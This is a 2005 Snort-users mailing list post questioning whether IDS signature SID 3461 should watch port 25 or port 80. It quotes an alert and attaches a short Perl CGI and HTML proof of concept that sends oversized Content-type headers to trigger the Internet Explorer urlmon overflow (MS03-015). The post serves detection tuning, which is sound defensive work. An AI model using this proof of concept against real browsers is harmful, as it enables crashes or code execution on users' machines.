[Snort-users] SMTP Content-Type overflow attempt SID 3461

Craig Mueller cmueller at ...11019...
Mon Sep 26 08:02:03 EDT 2005


I've seen the following alert triggered

[**] [1:3461:2] SMTP Content-Type overflow attempt [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1] 
09/25-11:11:06.816693 x.y.z.1:35499 -> 192.168.1.10:25
TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:2776
***AP*** Seq: 0xCE9CF6A4  Ack: 0xDEEA2DBD  Win: 0x40B0  TcpLen: 20
[Xref => http://www.microsoft.com/technet/security/bulletin/MS03-015.mspx][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0113][Xref => http://www.securityfocus.com/bid/7419]

Yet the Microsoft fix is for Internet Explorer, yet the signature looks for traffic on port TCP / 25. 
I think the signature should look for this exploit on TCP port 80

Attached is the sample exploit, which would also only effect port 80..
!/usr/bin/perl
#
# Name this file as "urlmon-bo.cgi"
#
$LONG="A"x300;
print "Content-type: $LONG\r\n";
print "Content-encoding: $LONG\r\n";
print "\r\n";
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8- -
<html>
<body>
<img src="urlmon-bo.cgi">
</body>
</html>


-- 
Craig Mueller CISSP
Senior Consultant
Alebra Technologies
www.alebra.com
612-436-8204





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